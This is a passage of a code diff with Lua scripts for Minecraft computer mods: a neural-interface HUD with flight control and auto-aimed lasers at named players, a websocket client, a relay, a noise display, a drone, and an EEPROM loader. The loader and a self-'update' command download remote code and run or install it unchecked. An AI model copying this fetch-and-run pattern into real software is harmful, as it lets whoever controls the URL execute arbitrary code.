counter = { type = "bool", default = false, shortcode = "c" }, -- counterattack
highlight = { type = "bool", default = false, shortcode = "h" },
dodge = { type = "bool", default = true, shortcode = "d" },
power = { type = "number", default = 5, max = 5, min = 0.5 }, -- laser power
flight = { type = "string", default = "std", shortcode = "f", alias = { fly = true } },
drill = { type = "bool", default = false, shortcode = "D", persist = false },
show_acceleration = { type = "bool", default = false },
pitch_controls = { type = "bool", default = false },
ext_highlight = { type = "bool", default = false }
}
local SAVEFILE = "ni-ctl-settings"
if fs.exists(SAVEFILE) then
local f = fs.open(SAVEFILE, "r")
for key, value in pairs(textutils.unserialise(f.readAll())) do
settings_cfg[key].value = value
end
f.close()
end
local gsettings = {}
setmetatable(gsettings, {
__index = function(_, key)
local cfg = settings_cfg[key]
if cfg.value == nil then return cfg.default else return cfg.value end
end,
__newindex = function(_, key, value)
print("set", key, "to", value)
settings_cfg[key].value = value
if settings_cfg[key].persist ~= false then
local kv = {}
for key, cfg in pairs(settings_cfg) do
kv[key] = cfg.value
end
local f = fs.open(SAVEFILE, "w")
f.write(textutils.serialise(kv))
f.close()
end
os.queueEvent "settings_change"
end
})
local work_queue = {}
local addressed_lasers = {}
local function bool_to_yn(b)
if b == true then return "y"
elseif b == false then return "n"
else return "?" end
end
local status_lines = {}
local notices = {}
local function push_notice(t)
table.insert(notices, { t, os.epoch "utc" })
end
local function lase(entity)
local target_location = entity.s
for i = 1, 5 do
target_location = entity.s + entity.v * (target_location:length() / 1.5)
end
local y, p = calc_yaw_pitch(target_location)
if offload_laser then offload_protocol("fire", y, p, gsettings.power) else ni.fire(y, p, gsettings.power) end
end
local user_meta
local fast_mode_reqs = {}
local colortheme = {
status = 0xFFFFFFFF,
notice = 0xFF8800FF,
follow = 0xFF00FFFF,
watch = 0xFFFF00FF,
laser = 0xFF0000FF,
entity = 0x00FFFFFF,
select = 0x00FF00FF
}
local function schedule(fn, time, uniquename)
if uniquename then
work_queue[uniquename] = { os.clock() + time, fn }
else
table.insert(work_queue, { os.clock() + time, fn })
end
end
local function direction_vector(yaw, pitch)
return vector.new(
-math.sin(math.rad(yaw)) * math.cos(math.rad(pitch)),
-math.sin(math.rad(pitch)),
math.cos(math.rad(yaw)) * math.cos(math.rad(pitch))
)
end
--[[
local function ni.launch(yaw, pitch, power)
ni.ni.launch(yaw, pitch, power)
if user_meta then
local impulse = vector.new(
-math.sin(math.rad(yaw)) * math.cos(math.rad(pitch)),
math.cos(math.rad(yaw)) * math.cos(math.rad(pitch)),
-math.sin(math.rad(pitch))
)
if user_meta.isElytraFlying then
impulse = 0.4 * impulse
end
user_meta.velocity = user_meta.velocity + (impulse * power)
end
end]]
local gravity_motion_offset = 0.07840001
--[[
local inav_position = nil
local inav_delta = nil
local scaler = 20
local function navigation()
while true do
local real_pos = vector.new(gps.locate())
if inav_position then
print(inav_position - real_pos)
local real_delta = (inav_position - real_pos):length()
local delta_size = inav_delta:length()
print("calculated delta was", delta_size / real_delta, "of real")
end
inav_position = real_pos
inav_delta = vector.new(0, 0, 0)
sleep(3)
end
end
]]
local hud_entities = {}
local function render_hud()
local flags = {}
for key, cfg in pairs(settings_cfg) do
if cfg.shortcode and cfg.type == "bool" then
if gsettings[key] then
table.insert(flags, cfg.shortcode)
end
end
end
table.sort(flags)
status_lines.flags = "Flags: " .. table.concat(flags)
local i = 0
local ok, err = pcall(group.clear)
if not ok then
initialize_group_thing()
end
local time = os.epoch "utc"
for _, text in pairs(status_lines) do
group.addText({ 0, i * 7 }, text, colortheme.status, 0.6)
i = i + 1
end
for ix, info in pairs(notices) do
if time >= (info[2] + 2000) then notices[ix] = nil end
group.addText({ 0, i * 7 }, info[1], colortheme.notice, 0.6)
i = i + 1
end
for thing, count in pairs(hud_entities) do
local text = thing
if count ~= 1 then text = text .. " " .. count end
group.addText({ 0, i * 7 }, text, colortheme[is_target(thing) or "entity"], 0.6)
i = i + 1
end
end
local last_velocity
local last_time
local integrated_position = vector.new(0, 0, 0)
local function update_motion_vars(new_meta)
local time = os.clock()
if user_meta then
-- walking hack
if not (user_meta.isFlying or user_meta.isElytraFlying) then
if user_meta.isInWater then new_meta.motionY = new_meta.motionY + 0.02
else new_meta.motionY = new_meta.motionY + gravity_motion_offset end
end
user_meta.velocity = vector.new(new_meta.motionX, new_meta.motionY, new_meta.motionZ)
user_meta.real_velocity = vector.new(new_meta.deltaPosX, new_meta.deltaPosY, new_meta.deltaPosZ)
integrated_position = integrated_position + user_meta.real_velocity
user_meta.motionX = new_meta.motionX
user_meta.motionY = new_meta.motionY
user_meta.motionZ = new_meta.motionZ
user_meta.pitch = new_meta.pitch
user_meta.yaw = new_meta.yaw
if last_time and last_velocity then
local timestep = time - last_time
user_meta.acceleration = (user_meta.velocity - last_velocity) / timestep
end
last_velocity = user_meta.velocity
end
last_time = time
end
local function scan_entities()
while true do
fast_mode_reqs.laser = false
fast_mode_reqs.acting = false
local entities = ni.sense()
local maybe_players = {}
hud_entities = {}
local lasers = {}
for _, entity in pairs(entities) do
entity.s = vector.new(entity.x, entity.y, entity.z)
entity.v = vector.new(entity.motionX, entity.motionY, entity.motionZ)
if entity.displayName ~= username then
hud_entities[entity.displayName] = (hud_entities[entity.displayName] or 0) + 1
end
if entity.displayName ~= username and entity.displayName == entity.name and (math.floor(entity.yaw) ~= entity.yaw and math.floor(entity.pitch) ~= entity.pitch) then -- player, quite possibly
entity.v = entity.v + vector.new(0, gravity_motion_offset, 0)
table.insert(maybe_players, entity)
end
if entity.name == "plethora:laser" then
fast_mode_reqs.laser = true
end
if entity.name == "plethora:laser" and not addressed_lasers[entity.id] then
local closest_approach, param = project(entity.s, entity.v - user_meta.velocity, vector.new(0, 0, 0))
if param > 0 and vector_sqlength(closest_approach) < 5 then
push_notice "Laser detected"
fast_mode_reqs.laser = true
local time_to_impact = (entity.s:length() / (entity.v - user_meta.velocity):length()) / 20
print("got inbound laser", time_to_impact, vector_sqlength(closest_approach), param)
addressed_lasers[entity.id] = true
if gsettings.dodge then
schedule(function()
push_notice "Executing dodging"
local dir2d = vector.new(entity.motionX - user_meta.motionX, 0, entity.motionZ - user_meta.motionZ)
local perpendicular_dir2d = vector.new(1, 0, -dir2d.x / dir2d.z)
-- NaN contingency measures
if perpendicular_dir2d.x ~= perpendicular_dir2d.x or perpendicular_dir2d.z ~= perpendicular_dir2d.z then
perpendicular_dir2d = vector.new(-dir2d.z / dir2d.x, 0, 1)
end
if perpendicular_dir2d.x ~= perpendicular_dir2d.x or perpendicular_dir2d.z ~= perpendicular_dir2d.z then
local theta = math.random() * math.pi * 2
perpendicular_dir2d = vector.new(math.cos(theta), 0, math.sin(theta))
end
local y, p = calc_yaw_pitch(perpendicular_dir2d)
if math.random(1, 2) == 1 then p = -p end
ni.launch(y, p, 3)
end, math.max(0, time_to_impact / 2 - 0.1))
end
schedule(function() addressed_lasers[entity.id] = false end, 15)
table.insert(lasers, entity)
end
end
end
for _, laser in pairs(lasers) do
for _, player in pairs(maybe_players) do
local closest_approach, param = project(laser.s, laser.v, player.s)
print(player.displayName, closest_approach, param)
if param < 0 and vector_sqlength(closest_approach - player.s) < 8 and gsettings.counter then
print("execute counterattack", player.displayName)
push_notice(("Counterattack %s"):format(player.displayName))
targets[player.displayName:lower()] = "laser"
end
end
end
render_hud()
pcall(function()
group_3d.clear()
group_3d.recenter()
end)
for _, entity in pairs(entities) do
local action = is_target(entity.displayName)
if action then
if action == "laser" then
schedule(function() lase(entity) end, 0, entity.id)
elseif action == "watch" then
schedule(function() ni.look(calc_yaw_pitch(entity.s)) end, 0, entity.id)
elseif action == "follow" then
schedule(function()
local y, p = calc_yaw_pitch(entity.s)
ni.launch(y, p, math.min(entity.s:length() / 24, 2))
end, 0, entity.id)
end
fast_mode_reqs.acting = true
end
if gsettings.highlight and hud_entities[entity.displayName] and hud_entities[entity.displayName] < 20 then
local color = colortheme[action or "entity"]
local object = group_3d.addBox(entity.x - 0.25, entity.y - 0.25, entity.z - 0.25)
object.setColor(color)
object.setAlpha(128)
object.setDepthTested(false)
object.setSize(0.5, 0.5, 0.5)
if gsettings.ext_highlight then
local frame = group_3d.addFrame({entity.x - 0.25, entity.y + 0.25, entity.z - 0.25})
frame.setDepthTested(false)
frame.addText({0, 0}, entity.displayName, nil, 3)
end
end
end
local fast_mode = false
for _, m in pairs(fast_mode_reqs) do
fast_mode = fast_mode or m
end
--status_lines.fast_mode = "Fast scan: " .. bool_to_yn(fast_mode)
if fast_mode then sleep(0.1) else sleep(0.2) end
end
end
local flight_shortcodes = {
o = "off",
b = "brake",
h = "hpower",
l = "lpower",
s = "std",
a = "align",
v = "hover"
}
local flight_powers = {
std = 1,
lpower = 0.5,
hpower = 4,
align = 1,
hover = 1
}
local flight_target = nil
local function xz_plane(v)
return vector.new(v.x, 0, v.z)
end
-- As far as I can tell, a speed of more than 10 in the X/Z plane causes a reset of your velocity by the server and thus horrible rubberbanding.
local function maxvel_compensatory_launch(yaw, pitch, power)
local effective_power = (user_meta and user_meta.isElytraFlying) and (power * 0.4) or power
local impulse = direction_vector(yaw, pitch) * effective_power
local power_over_velocity_limit = math.max(xz_plane(user_meta.velocity + impulse):length() - 10, 0)
if user_meta and user_meta.isElytraFlying then
power = power - power_over_velocity_limit / 0.4
else
power = power - power_over_velocity_limit
end
power = math.min(math.max(power, 0), 4)
if power > 0 then
ni.launch(yaw, pitch, power)
end
end
local function run_flight()
if flight_shortcodes[gsettings.flight] then gsettings.flight = flight_shortcodes[gsettings.flight] end
local disp = gsettings.flight
if user_meta.deltaPosY < -0.3 and gsettings.brake then
ni.launch(0, 270, math.max(0.4, math.min(4, -user_meta.motionY / 1.5)))
--ni.launch(0, 270, 0.4)
--end
fast_mode_reqs.flying = true
disp = disp .. " F"
else
fast_mode_reqs.flying = false
end
if gsettings.flight == "std" or gsettings.flight == "hpower" or gsettings.flight == "lpower" or gsettings.flight == "align" or gsettings.flight == "hover" then
if user_meta.isElytraFlying or user_meta.isSneaking then
fast_mode_reqs.flying = true
end
if user_meta.isElytraFlying ~= user_meta.isSneaking then
if not user_meta.isAirborne and user_meta.pitch < -15 then
push_notice "Fast takeoff"
ni.launch(0, 270, 1)
end
local power = flight_powers[gsettings.flight]
if user_meta.isInWater then
power = power * 2
end
local yaw, pitch = user_meta.yaw, user_meta.pitch
if pitch == 90 and gsettings.pitch_controls then
local y, p = calc_yaw_pitch(-user_meta.velocity)
ni.launch(y, p, math.min(user_meta.velocity:length(), 4))
else
local raw_direction = direction_vector(yaw, pitch)
local impulse = vector.new(raw_direction.x, raw_direction.y * 1.5, raw_direction.z) * power
impulse = impulse + vector.new(0, 0.1, 0)
local y, p = calc_yaw_pitch(impulse)
maxvel_compensatory_launch(y, (gsettings.flight ~= "align" and p) or 10, math.min(4, impulse:length()))
end
end
elseif gsettings.flight == "brake" then
local y, p = calc_yaw_pitch(-user_meta.velocity)
ni.launch(y, p, math.min(user_meta.velocity:length(), 1))
fast_mode_reqs.flying = true
end
status_lines.flight = "Flight: " .. disp
end
local function ll_flight_control()
while true do
local ok, user_meta_temp
if ni.getMetaOwner then
ok, user_meta_temp = pcall(ni.getMetaOwner, username)
else
ok, user_meta_temp = pcall(ni.getMetaByName, username)
end
if not ok or not user_meta_temp then
speaker.playSound("entity.enderdragon.death")
user_meta = nil
for name, cfg in pairs(settings_cfg) do
if cfg.persist == false then
cfg.value = nil
end
end
work_queue = {}
ni = peripheral.wrap "back"
ni.canvas().clear()
error("Failed to fetch user metadata (assuming death): " .. tostring(user_meta_temp))
end
user_meta = user_meta_temp
update_motion_vars(user_meta)
if user_meta.acceleration and gsettings.show_acceleration then
status_lines.acceleration = ("Acc: %.2f/%.2f"):format(user_meta.acceleration:length(), user_meta.acceleration.y)
end
status_lines.vel = ("Vel: %.2f/%.2f"):format(user_meta.velocity:length(), user_meta.motionY)
render_hud()
local fast_mode = false
for _, m in pairs(fast_mode_reqs) do
fast_mode = fast_mode or m
end
--status_lines.fast_mode = "Fast scan: " .. bool_to_yn(fast_mode)
schedule(run_flight, 0, "flight")
if not fast_mode then sleep(0.1) end
end
end
local function queue_handler()
while true do
local init = os.clock()
for index, arg in pairs(work_queue) do
if arg[1] <= os.clock() then
arg[2]()
work_queue[index] = nil
end
end
if os.clock() == init then sleep() end
end
end
local function estimate_tps()
while true do
local game_time_start = os.epoch "utc"
sleep(5)
local game_time_end = os.epoch "utc"
local utc_elapsed_seconds = (game_time_end - game_time_start) / 5000
status_lines.tps = ("TPS: %.0f"):format(20 / utc_elapsed_seconds)
end
end
local function within_epsilon(a, b)
return math.abs(a - b) < 1
end
-- TODO: unified navigation framework
local function fly_to_target()
local last_s, last_t
while true do
while not user_meta do sleep() end
if flight_target then
local x, y, z = gps.locate()
if not y then push_notice "GPS error"
else
if y < 256 then
ni.launch(0, 270, 4)
end
local position = vector.new(x, 0, z)
local curr_t = os.clock()
local displacement = flight_target - position
status_lines.flight_target = ("%d from %d %d"):format(displacement:length(), flight_target.x, flight_target.z)
local real_displacement = displacement
if last_t then
local delta_t = curr_t - last_t
local delta_s = displacement - last_s
local deriv = delta_s * (1/delta_t)
displacement = displacement + deriv
end
local pow = math.max(math.min(4, displacement:length() / 40), 0)
local yaw, pitch = calc_yaw_pitch(displacement)
maxvel_compensatory_launch(yaw, pitch, pow)
--sleep(0)
last_t = curr_t
last_s = real_displacement
if within_epsilon(position.x, flight_target.x) and within_epsilon(position.z, flight_target.z) then flight_target = nil end
end
else
status_lines.flight_target = nil
end
sleep(0.1)
end
end
local function handle_commands()
while true do
local _, user, command, args = os.pullEvent "command"
if user == username then
if command == "lase" then
if args[1] then
targets[table.concat(args, " "):lower()] = "laser"
end
elseif command == "ctg" then
args[1] = args[1] or ".*"
local arg = table.concat(args, " ")
for k, v in pairs(targets) do
if k:lower():match(arg) then
chatbox.tell(user, k .. ": " .. v)
targets[k:lower()] = nil
end
end
elseif command == "watch" then
if args[1] then
targets[table.concat(args, " "):lower()] = "watch"
end
elseif command == "select" then
if args[1] then
targets[table.concat(args, " "):lower()] = "select"
end
elseif command == "follow" then
if args[1] then
targets[table.concat(args, " "):lower()] = "follow"
end
elseif command == "notice_test" then
push_notice(table.concat(args, " "))
elseif command == "flyto" then
if args[1] == "cancel" or args[1] == nil then
flight_target = nil
else
local x, z = tonumber(args[1]), tonumber(args[2])
if type(x) ~= "number" or type(z) ~= "number" then
chatbox.tell(user, "Usage: \\flyto x z")
else
flight_target = vector.new(x, 0, z)
end
end
elseif command == "update" then
local h, e = http.get "https://osmarks.net/stuff/ni-ctl.lua"
assert(h, "HTTP: " .. (e or ""))
local data = h.readAll()
h.close()
local file = fs.open(shell.getRunningProgram(), "w")
file.write(data)
file.close()
chatbox.tell(user, "Update updated.")
else
for key, cfg in pairs(settings_cfg) do
if key == command or cfg.shortcode == command or (cfg.alias and cfg.alias[command]) then
if cfg.type == "bool" then
if args[1] and (args[1]:match "y" or args[1]:match "t" or args[1]:match "on") then
gsettings[key] = true
elseif args[1] and (args[1]:match "f" or args[1]:match "^n") then
gsettings[key] = false
else
gsettings[key] = not gsettings[key]
end
chatbox.tell(user, ("%s: %s"):format(key, tostring(gsettings[key])))
elseif cfg.type == "number" then
local value = tonumber(args[1])
if not value then chatbox.tell(user, "Not a number") end
if cfg.max and value > cfg.max then chatbox.tell(user, ("Max is %d"):format(cfg.max)) end
if cfg.min and value < cfg.min then chatbox.tell(user, ("Max is %d"):format(cfg.min)) end
gsettings[key] = value
else
gsettings[key] = args[1]
end
break
end
end
end
end
end
end
local function drill()
while true do
if gsettings.drill then
repeat sleep() until user_meta
if offload_laser then
offload_protocol("fire", user_meta.yaw, user_meta.pitch, gsettings.power)
else
schedule(function() repeat sleep() until user_meta ni.fire(user_meta.yaw, user_meta.pitch, gsettings.power) end, 0, "drill")
end
sleep(0.1)
else
os.pullEvent "settings_change"
end
end
end
while true do
local cmds = {ll_flight_control, queue_handler, scan_entities, handle_commands, estimate_tps, fly_to_target, drill}
if spudnet_background then
table.insert(cmds, spudnet_background)
end
local ok, err = pcall(parallel.waitForAny, unpack(cmds))
if err == "Terminated" then break end
printError(err)
sleep(0.2)
end

View File

@ -0,0 +1,88 @@
local function spudnet()
local channel = settings.get "offload_channel"
if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
local ws
local try_connect_loop, recv
local function send_packet(msg)
local ok, err = pcall(ws.send, textutils.serialiseJSON(msg))
if not ok then printError(err) try_connect_loop() end
end
local function assert_ok(packet)
if packet.type == "error" then error(("%s %s %s"):format(packet["for"], packet.error, packet.detail)) end
end
local function connect()
if ws then ws.close() end
local err
local url = "wss://spudnet.osmarks.net/v4?enc=json&rand=" .. math.random(0, 0xFFFFFFF)
ws, err = http.websocket(url)
if not ws then print("websocket failure %s", err) return false end
ws.url = url
send_packet { type = "identify", implementation = "ni-ctl SPUDNET interface", key = settings.get "spudnet_key" }
assert_ok(recv())
send_packet { type = "set_channels", channels = {channel} }
assert_ok(recv())
return true
end
recv = function()
while true do
local e, u, x, y = os.pullEvent()
if e == "websocket_message" and u == ws.url then
return textutils.unserialiseJSON(x)
elseif e == "websocket_closed" and u == ws.url then
printError(("websocket: %s/%d"):format(x, y or 0))
end
end
end
try_connect_loop = function()
while not connect() do
sleep(0.5)
end
end
try_connect_loop()
local function send(data)
send_packet { type = "send", channel = channel, data = data }
assert_ok(recv())
end
local ping_timeout_timer = nil
local function ping_timer()
while true do
local _, t = os.pullEvent "timer"
if t == ping_timeout_timer and ping_timeout_timer then
-- 15 seconds since last ping, we probably got disconnected
print "SPUDNET timed out, attempting reconnect"
try_connect_loop()
end
end
end
local function main()
while true do
local packet = recv()
if packet.type == "ping" then
send_packet { type = "pong", seq = packet.seq }
if ping_timeout_timer then os.cancelTimer(ping_timeout_timer) end
ping_timeout_timer = os.startTimer(15)
elseif packet.type == "error" then
print("SPUDNET error", packet["for"], packet.error, packet.detail, textutils.serialise(packet))
elseif packet.type == "message" then
os.queueEvent("spudnet_message", packet.data, packet)
end
end
end
return send, function() parallel.waitForAll(ping_timer, main) end
end
return spudnet

View File

@ -0,0 +1,25 @@
local iface = peripheral.wrap "back"
local x, y, z = gps.locate()
local approx = y
local function do_approx()
local past_time = os.epoch "utc"
while true do
local time = os.epoch "utc"
local diff = (time - past_time) / 1000
past_time = time
local meta = iface.getMetaByName "gollark"
approx = approx + (meta.motionY * diff)
sleep()
end
end
local function do_gps()
while true do
local x, y, z = gps.locate()
print("real=", y, "\napprox=", approx, "\ndiff=", y - approx)
sleep(0.5)
end
end
parallel.waitForAll(do_approx, do_gps)

41
computercraft/nilaser.lua Normal file
View File

@ -0,0 +1,41 @@
local ni = peripheral.find "neuralInterface"
if not ni or not ni.fire or not ni.sense then error "Neural interface with laser and entity sensor required!" end
local args = {...}
local power = table.remove(args, 1)
local num_power = tonumber(power)
if num_power then power = num_power end
local follow_mode, stare_mode = power == "follow", power == "stare"
local laser_mode = not (follow_mode or stare_mode)
if #args == 0 or not power then
error([[Usage: nilaser <power> <patterns to match targets...>]])
end
local function calc_yaw_pitch(x, y, z)
local pitch = -math.atan2(y, math.sqrt(x * x + z * z))
local yaw = math.atan2(-x, z)
return math.deg(yaw), math.deg(pitch)
end
local function is_target(entity)
for _, pattern in pairs(args) do
if entity.name:match(pattern) or entity.displayName:match(pattern) then return true end
end
return false
end
while true do
for _, entity in pairs(ni.sense()) do
if is_target(entity) then
print(entity.name, entity.displayName)
local y, p = calc_yaw_pitch(entity.x, entity.y, entity.z)
if laser_mode then
ni.fire(y, p, power)
elseif follow_mode then
ni.launch(y, p, 1)
elseif stare_mode then
ni.look(y, p)
end
end
end
sleep(0.05)
end

36
computercraft/nnrelay.lua Normal file
View File

@ -0,0 +1,36 @@
if require then
component = require "component"
computer = require "computer"
end
computer.beep(200)
--local net = component.proxy(component.list "internet"())
local modem_id = component.list "modem"()
local modem = component.proxy(modem_id)
modem.open(1025) -- command channel
modem.open(1024) -- nanobot reply channel
while true do
local event = {computer.pullSignal()}
if event[1] == "modem_message" then
table.remove(event, 1) -- event
table.remove(event, 1) -- to
local from = table.remove(event, 1) -- from
local port = table.remove(event, 1)
local distance = table.remove(event, 1) -- distance
if print then print(port, distance) end
if distance < 16 then
if port == 1024 then
--computer.beep(800)
modem.broadcast(1026, from, table.unpack(event))
elseif port == 1025 then
--computer.beep(1600)
--table.remove(event) -- remove last two arguments added when transmitting
table.remove(event)
modem.broadcast(1024, table.unpack(event))
end
end
end
end

View File

@ -0,0 +1,90 @@
local screens = {peripheral.find "monitor"}
local p = {}
local permutation = {151,160,137,91,90,15,
131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10,23,
190, 6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,
88,237,149,56,87,174,20,125,136,171,168, 68,175,74,165,71,134,139,48,27,166,
77,146,158,231,83,111,229,122,60,211,133,230,220,105,92,41,55,46,245,40,244,
102,143,54, 65,25,63,161, 1,216,80,73,209,76,132,187,208, 89,18,169,200,196,
135,130,116,188,159,86,164,100,109,198,173,186, 3,64,52,217,226,250,124,123,
5,202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,
223,183,170,213,119,248,152, 2,44,154,163, 70,221,153,101,155,167, 43,172,9,
129,22,39,253, 19,98,108,110,79,113,224,232,178,185, 112,104,218,246,97,228,
251,34,242,193,238,210,144,12,191,179,162,241, 81,51,145,235,249,14,239,107,
49,192,214, 31,181,199,106,157,184, 84,204,176,115,121,50,45,127, 4,150,254,
138,236,205,93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180
}
for i = 0, 255 do
p[i] = permutation[i + 1]
p[256 + i] = permutation[i + 1]
end
local function fade(t)
return t * t * t * (t * (t * 6 - 15) + 10)
end
local function lerp(t, a, b)
return a + t * (b - a)
end
local function grad(hash, x, y, z)
local h, u, v = hash % 16
if h < 8 then u = x else u = y end
if h < 4 then v = y elseif h == 12 or h == 14 then v = x else v = z end
local r
if h % 2 == 0 then r = u else r = -u end
if h % 4 == 0 then r = r + v else r = r - v end
return r
end
local function perlin(x, y, z)
y = y or 0
z = z or 0
local X = math.floor(x % 255)
local Y = math.floor(y % 255)
local Z = math.floor(z % 255)
x = x - math.floor(x)
y = y - math.floor(y)
z = z - math.floor(z)
local u = fade(x)
local v = fade(y)
local w = fade(z)
A = p[X ] + Y
AA = p[A ] + Z
AB = p[A + 1] + Z
B = p[X + 1] + Y
BA = p[B ] + Z
BB = p[B + 1] + Z
return lerp(w, lerp(v, lerp(u, grad(p[AA ], x , y , z ),
grad(p[BA ], x - 1, y , z )),
lerp(u, grad(p[AB ], x , y - 1, z ),
grad(p[BB ], x - 1, y - 1, z ))),
lerp(v, lerp(u, grad(p[AA + 1], x , y , z - 1),
grad(p[BA + 1], x - 1, y , z - 1)),
lerp(u, grad(p[AB + 1], x , y - 1, z - 1),
grad(p[BB + 1], x - 1, y - 1, z - 1))))
end
while true do
for _, screen in pairs(screens) do
screen.clear()
local w, h = screen.getSize()
for x = 1, w, 2 do
for y = 1, h, 2 do
screen.setCursorPos(x, y)
if math.random(0, 50) == 0 then
screen.setTextColor(2^math.random(2, 14))
else
screen.setTextColor(colors.white)
end
local pl = (math.max(math.min(perlin(x * 4.306, y * 4.306, os.clock() * 0.05) * 3, 1), -1) + 1) * 4.5
screen.write(tostring(math.floor(pl)))
end
end
end
sleep(1)
end

View File

@ -0,0 +1,19 @@
local net = component.proxy(component.list "internet"())
local eeprom = component.proxy(component.list "eeprom"())
local function fetch(url)
local res, err = net.request(url)
if not res then error(url .. " error: " .. err) end
local out = {}
while true do
local chunk, err = res.read()
if err then error(url .. " error: " .. err) end
if chunk then table.insert(out, chunk)
else return table.concat(out) end
end
end
local eepromdata = eeprom.getData()
if eepromdata == "" then error "No URL loaded" end
local fn = assert(load(fetch(eepromdata)))
fn()

232
computercraft/oc-drone.lua Normal file
View File

@ -0,0 +1,232 @@
local drone = component.proxy(component.list "drone"())
local net = component.proxy(component.list "internet"())
local wlan = component.proxy(component.list "modem"())
local comp = component.proxy(component.list "computer"())
wlan.setWakeMessage("poweron", true)
local central_point = { x = 297, y = 80, z = 294 }
local statuses = {
loading = { text = "LOAD", color = 0x000000 },
moving = { text = "GO", color = 0xFFFF00 },
idle = { text = "IDLE", color = 0x00FFFF },
error = { text = "ERROR", color = 0xFF0000 },
low_battery = { text = "ELOW", 0xFF8800 }
}
local function set_status(status)
local stat = statuses[status]
drone.setLightColor(stat.color or 0xFFFFFF)
drone.setStatusText((stat.text or status) .. (" "):rep(8))
end
set_status "loading"
comp.beep(600, 1)
local function energy()
return computer.energy() / computer.maxEnergy()
end
local GPS_PING_CHANNEL, GPS_RESPONSE_CHANNEL, TIMEOUT = 2048, 2047, 1
wlan.setStrength(math.huge)
local function fetch(url)
local res, err = net.request(url)
if not res then error(url .. " error: " .. err) end
local out = {}
while true do
local chunk, err = res.read()
if err then error(url .. " error: " .. err) end
if chunk then table.insert(out, chunk)
else return table.concat(out) end
end
end
local function round(v, m)
m = m or 1.0
return {
x = math.floor((v.x+(m*0.5))/m)*m,
y = math.floor((v.y+(m*0.5))/m)*m,
z = math.floor((v.z+(m*0.5))/m)*m
}
end
local function len(v)
return math.sqrt(v.x^2 + v.y^2 + v.z^2)
end
local function cross(v, b)
return {x = v.y*b.z-v.z*b.y, y = v.z*b.x-v.x*b.z, z = v.x*b.y-v.y*b.x}
end
local function dot(v, b)
return v.x*b.x + v.y*b.y + v.z*b.z
end
local function add(v, b)
return {x = v.x+b.x, y = v.y+b.y, z = v.z+b.z}
end
local function sub(v, b)
return {x = v.x-b.x, y = v.y-b.y, z = v.z-b.z}
end
local function mul(v, m)
return {x = v.x*m, y = v.y*m, z = v.z*m}
end
local function norm(v)
return mul(v, 1/len(v))
end
local function trilaterate(A, B, C)
local a2b = {x = B.x-A.x, y = B.y-A.y, z = B.z-A.z}
local a2c = {x = C.x-A.x, y = C.y-A.y, z = C.z-A.z}
if math.abs(dot(norm(a2b), norm(a2c))) > 0.999 then
return nil
end
local d = len(a2b)
local ex = norm(a2b)
local i = dot(ex, a2c)
local ey = norm(sub(mul(ex, i), a2c))
local j = dot(ey, a2c)
local ez = cross(ex, ey)
local r1 = A.d
local r2 = B.d
local r3 = C.d
local x = (r1^2 - r2^2 + d^2) / (2*d)
local y = (r1^2 - r3^2 - x^2 + (x-i)^2 + j^2) / (2*j)
local result = add(A, add(mul(ex, x), mul(ey, y)))
local zSquared = r1^2 - x^2 - y^2
if zSquared > 0 then
local z = math.sqrt(zSquared)
local result1 = add(result, mul(ez, z))
local result2 = add(result, mul(ez, z))
local rounded1, rounded2 = round(result1, 0.01), round(result2, 0.01)
if rounded1.x ~= rounded2.x or
rounded1.y ~= rounded2.y or
rounded1.z ~= rounded2.z then
return rounded1, rounded2
else
return rounded1
end
end
return round(result, 0.01)
end
local function narrow(p1, p2, fix)
local dist1 = math.abs(len(sub(p1, fix)) - fix.d)
local dist2 = math.abs(len(sub(p2, fix)) - fix.d)
if math.abs(dist1 - dist2) < 0.01 then
return p1, p2
elseif dist1 < dist2 then
return round(p1, 0.01)
else
return round(p2, 0.01)
end
end
local function locate(timeout)
local timeout = timeout or TIMEOUT
wlan.open(GPS_RESPONSE_CHANNEL)
wlan.broadcast(GPS_PING_CHANNEL, "PING")
local fixes = {}
local pos1, pos2 = nil, nil
local deadline = computer.uptime() + timeout
local dim
repeat
local event, _, from, port, distance, x, y, z, dimension = computer.pullSignal(deadline - computer.uptime())
if event == "modem_message" and port == GPS_RESPONSE_CHANNEL and x and y and z then
if type(dim) == "string" then dim = dimension end
local fix = {x = x, y = y, z = z, d = distance}
if fix.d == 0 then
pos1, pos2 = {fix.x, fix.y, fix.z}, nil
else
table.insert(fixes, fix)
if #fixes >= 3 then
if not pos1 then
pos1, pos2 = trilaterate(fixes[1], fixes[2], fixes[#fixes])
else
pos1, pos2 = narrow(pos1, pos2, fixes[#fixes])
end
end
end
if pos1 and not pos2 then
break
end
end
until computer.uptime() >= deadline
wlan.close(GPS_RESPONSE_CHANNEL)
if pos1 and pos2 then
return nil
elseif pos1 then
return pos1, dim
else
return nil
end
end
local a={["\\"]="\\\\",["\""]="\\\"",["\b"]="\\b",["\f"]="\\f",["\n"]="\\n",["\r"]="\\r",["\t"]="\\t"}local b={["\\/"]="/"}for c,d in pairs(a)do b[d]=c end;local e;local function f(...)local g={}for h=1,select("#",...)do g[select(h,...)]=true end;return g end;local i=f(" ","\t","\r","\n")local j=f(" ","\t","\r","\n","]","}",",")local k=f("\\","/",'"',"b","f","n","r","t","u")local l=f("true","false","null")local m={["true"]=true,["false"]=false,["null"]=nil}local function n(o,p,q,r)for h=p,#o do if q[o:sub(h,h)]~=r then return h end end;return#o+1 end;local function s(o,p,t)local u=1;local v=1;for h=1,p-1 do v=v+1;if o:sub(h,h)=="\n"then u=u+1;v=1 end end;error(string.format("%s at line %d col %d",t,u,v))end;local function w(x)local y=math.floor;if x<=0x7f then return string.char(x)elseif x<=0x7ff then return string.char(y(x/64)+192,x%64+128)elseif x<=0xffff then return string.char(y(x/4096)+224,y(x%4096/64)+128,x%64+128)elseif x<=0x10ffff then return string.char(y(x/262144)+240,y(x%262144/4096)+128,y(x%4096/64)+128,x%64+128)end;error(string.format("invalid unicode codepoint '%x'",x))end;local function z(A)local B=tonumber(A:sub(3,6),16)local C=tonumber(A:sub(9,12),16)if C then return w((B-0xd800)*0x400+C-0xdc00+0x10000)else return w(B)end end;local function D(o,h)local E=false;local F=false;local G=false;local H;for I=h+1,#o do local J=o:byte(I)if J<32 then s(o,I,"control character in string")end;if H==92 then if J==117 then local K=o:sub(I+1,I+5)if not K:find("%x%x%x%x")then s(o,I,"invalid 